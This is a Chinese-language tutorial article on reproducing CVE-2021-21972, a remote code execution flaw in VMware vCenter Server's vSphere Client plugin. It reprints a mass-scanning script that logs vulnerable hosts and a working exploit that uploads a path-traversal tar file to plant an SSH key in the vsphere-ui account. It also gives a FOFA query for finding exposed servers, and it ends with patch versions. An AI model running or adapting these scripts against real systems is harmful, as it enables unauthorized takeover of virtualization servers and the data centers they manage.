千家信息网

如何进行vSphere Client RCE CVE-2021-21972复现

发表于:2024-11-28 作者:千家信息网编辑
千家信息网最后更新 2024年11月28日,如何进行vSphere Client RCE CVE-2021-21972复现,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收
千家信息网最后更新 2024年11月28日如何进行vSphere Client RCE CVE-2021-21972复现

如何进行vSphere Client RCE CVE-2021-21972复现,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

漏洞简介

vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。

vSphere Client(HTML5) 在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,写入webshell,控制服务器。

影响范围

VMware vCenter Server: 7.0/6.7/6.5

漏洞分析

vCenter Server中的vrops插件存在一些未鉴定权限的敏感接口,其中uploadova接口具有文件上传功能。

@RequestMapping(        value = {"/uploadova"},        method = {RequestMethod.POST}    )    public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {        logger.info("Entering uploadOvaFile api");        int code = uploadFile.isEmpty() ? 400 : 200;        PrintWriter wr = null;...        response.setStatus(code);        String returnStatus = "SUCCESS";        if (!uploadFile.isEmpty()) {            try {                logger.info("Downloading OVA file has been started");                logger.info("Size of the file received  : " + uploadFile.getSize());                InputStream inputStream = uploadFile.getInputStream();                File dir = new File("/tmp/unicorn_ova_dir");                if (!dir.exists()) {                    dir.mkdirs();                } else {                    String[] entries = dir.list();                    String[] var9 = entries;                    int var10 = entries.length;                    for(int var11 = 0; var11 < var10; ++var11) {                        String entry = var9[var11];                        File currentFile = new File(dir.getPath(), entry);                        currentFile.delete();                    }                    logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");                }                TarArchiveInputStream in = new TarArchiveInputStream(inputStream);                TarArchiveEntry entry = in.getNextTarEntry();                ArrayList result = new ArrayList();

代码中,将tar文件解压后,上传到/tmp/unicorn_ova_dir目录

while(entry != null) {                    if (entry.isDirectory()) {                        entry = in.getNextTarEntry();                    } else {                        File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());                        File parent = curfile.getParentFile();                        if (!parent.exists()) {                            parent.mkdirs();

上述代码直接将tar解压的文件名与/tmp/unicorn_ova_dir拼接并写入文件,这里可以使用../绕过目录限制。

若目标为Linux环境,可以创建一个文件名为../../home/vsphere-ui/.ssh/authorized_keys的tar文件,上传后即可使用SSH连接服务器。

POC & EXP

POC来自github:
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py

#-*- coding:utf-8 -*-banner = """        888888ba             dP        88    `8b            88       a88aaaa8P' .d8888b. d8888P .d8888b. dP    dP         88   `8b. 88'  `88   88   Y8ooooo. 88    88         88    .88 88.  .88   88         88 88.  .88         88888888P `88888P8   dP   `88888P' `88888P'    ooooooooooooooooooooooooooooooooooooooooooooooooooooo                 @time:2021/02/24 CVE-2021-21972.py                C0de by NebulabdSec - @batsu """print(banner)import threadpoolimport randomimport requestsimport argparseimport http.clientimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)http.client.HTTPConnection._http_vsn = 10http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"def get_ua():    first_num = random.randint(55, 62)    third_num = random.randint(0, 3200)    fourth_num = random.randint(0, 140)    os_type = [        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',        '(Macintosh; Intel Mac OS X 10_12_6)'    ]    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']                  )    return uadef CVE_2021_21972(url):    proxies = {"scoks5": "http://127.0.0.1:1081"}    headers = {        'User-Agent': get_ua(),        "Content-Type": "application/x-www-form-urlencoded"    }    targetUrl = url + TARGET_URI    try:        res = requests.get(targetUrl,                            headers=headers,                            timeout=15,                            verify=False,                            proxies=proxies)                            # proxies={'socks5': 'http://127.0.0.1:1081'})        # print(len(res.text))        if res.status_code == 405:            print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url))            # print("[+] Command success result: " + res.text + "\n")            with open("存在漏洞地址.txt", 'a') as fw:                fw.write(url + '\n')        else:            print("[-] " + url + " 没有发现CVE-2021-21972漏洞.\n")    # except Exception as e:    #     print(e)    except:        print("[-] " + url + " Request ERROR.\n")def multithreading(filename, pools=5):    works = []    with open(filename, "r") as f:        for i in f:            func_params = [i.rstrip("\n")]            # func_params = [i] + [cmd]            works.append((func_params, None))    pool = threadpool.ThreadPool(pools)    reqs = threadpool.makeRequests(CVE_2021_21972, works)    [pool.putRequest(req) for req in reqs]    pool.wait()def main():    parser = argparse.ArgumentParser()    parser.add_argument("-u",                        "--url",                        help="Target URL; Example:http://ip:port")    parser.add_argument("-f",                        "--file",                        help="Url File; Example:url.txt")    # parser.add_argument("-c", "--cmd", help="Commands to be executed; ")    args = parser.parse_args()    url = args.url    # cmd = args.cmd    file_path = args.file    if url != None and file_path ==None:        CVE_2021_21972(url)    elif url == None and file_path != None:        multithreading(file_path, 10)  # 默认15线程if __name__ == "__main__":    main()

EXP来自CSDN:
https://blog.csdn.net/weixin_43650289/article/details/114055417

import tarfileimport osfrom io import BytesIOimport requestsproxies = {  "http": "http://127.0.0.1:8080",  "https": "http://127.0.0.1:8080",}def return_zip():    with tarfile.open("test.tar", 'w') as tar:        payload = BytesIO()        id_rsa_pub = 'ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwgGuwNdSGHKvzHsHt7QImwwJ08Wa/+gHXOt+VwZTD23rLwCGVeYmfKObDY0uFfe2O4jr+sPamgA8As4LwdqtkadBPR+EzZB+PlS66RcVnUnDU4UdMhQjhyj/uv3pdtugugJpB9xaLdrUWwGoOLYA/djxD5hmojGdoYydBezsNhj2xXRyaoq3AZVqh2YLlhpwKnzhodk12a7/7EU+6Zj/ee5jktEwkBsVsDLTTWPpSnzK7r+kAHkbYx8fvO3Fk+9jlwadgbmhHJrpPr8gLEhwvrEnPcK1/j+QXvVkgy2cuYxl9GCUPv2wgZCN50f3wQlaJiektm2S9WkN5dLDdX+X4w=='        tarinfo = tarfile.TarInfo(name='../../../home/vsphere-ui/.ssh/authorized_keys')        f1 = BytesIO(id_rsa_pub.encode())        tarinfo.size = len(f1.read())        f1.seek(0)        tar.addfile(tarinfo, fileobj=f1)        tar.close()        payload.seek(0)def getshell(url):    files = {'uploadFile':open('test.tar','rb')}    try:        r = requests.post(url=url, files=files,proxies=proxies,verify = False).text        print(r)    except:        print('flase')if __name__ == "__main__":    try:        return_zip()        url="https://192.168.1.1/ui/vropspluginui/rest/services/uploadova"        getshell(url)    except IOError as e:        raise e

漏洞复现

fofa搜索title="+ ID_VC_Welcome +"

使用POC验证漏洞是否存在:

使用EXP上传tar文件:

成功上传authorized_keys

修复建议

  • vCenter Server7.0版本升级到7.0.U1c

  • vCenter Server6.7版本升级到6.7.U3l

  • vCenter Server6.5版本升级到6.5 U3n

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注行业资讯频道,感谢您对的支持。

0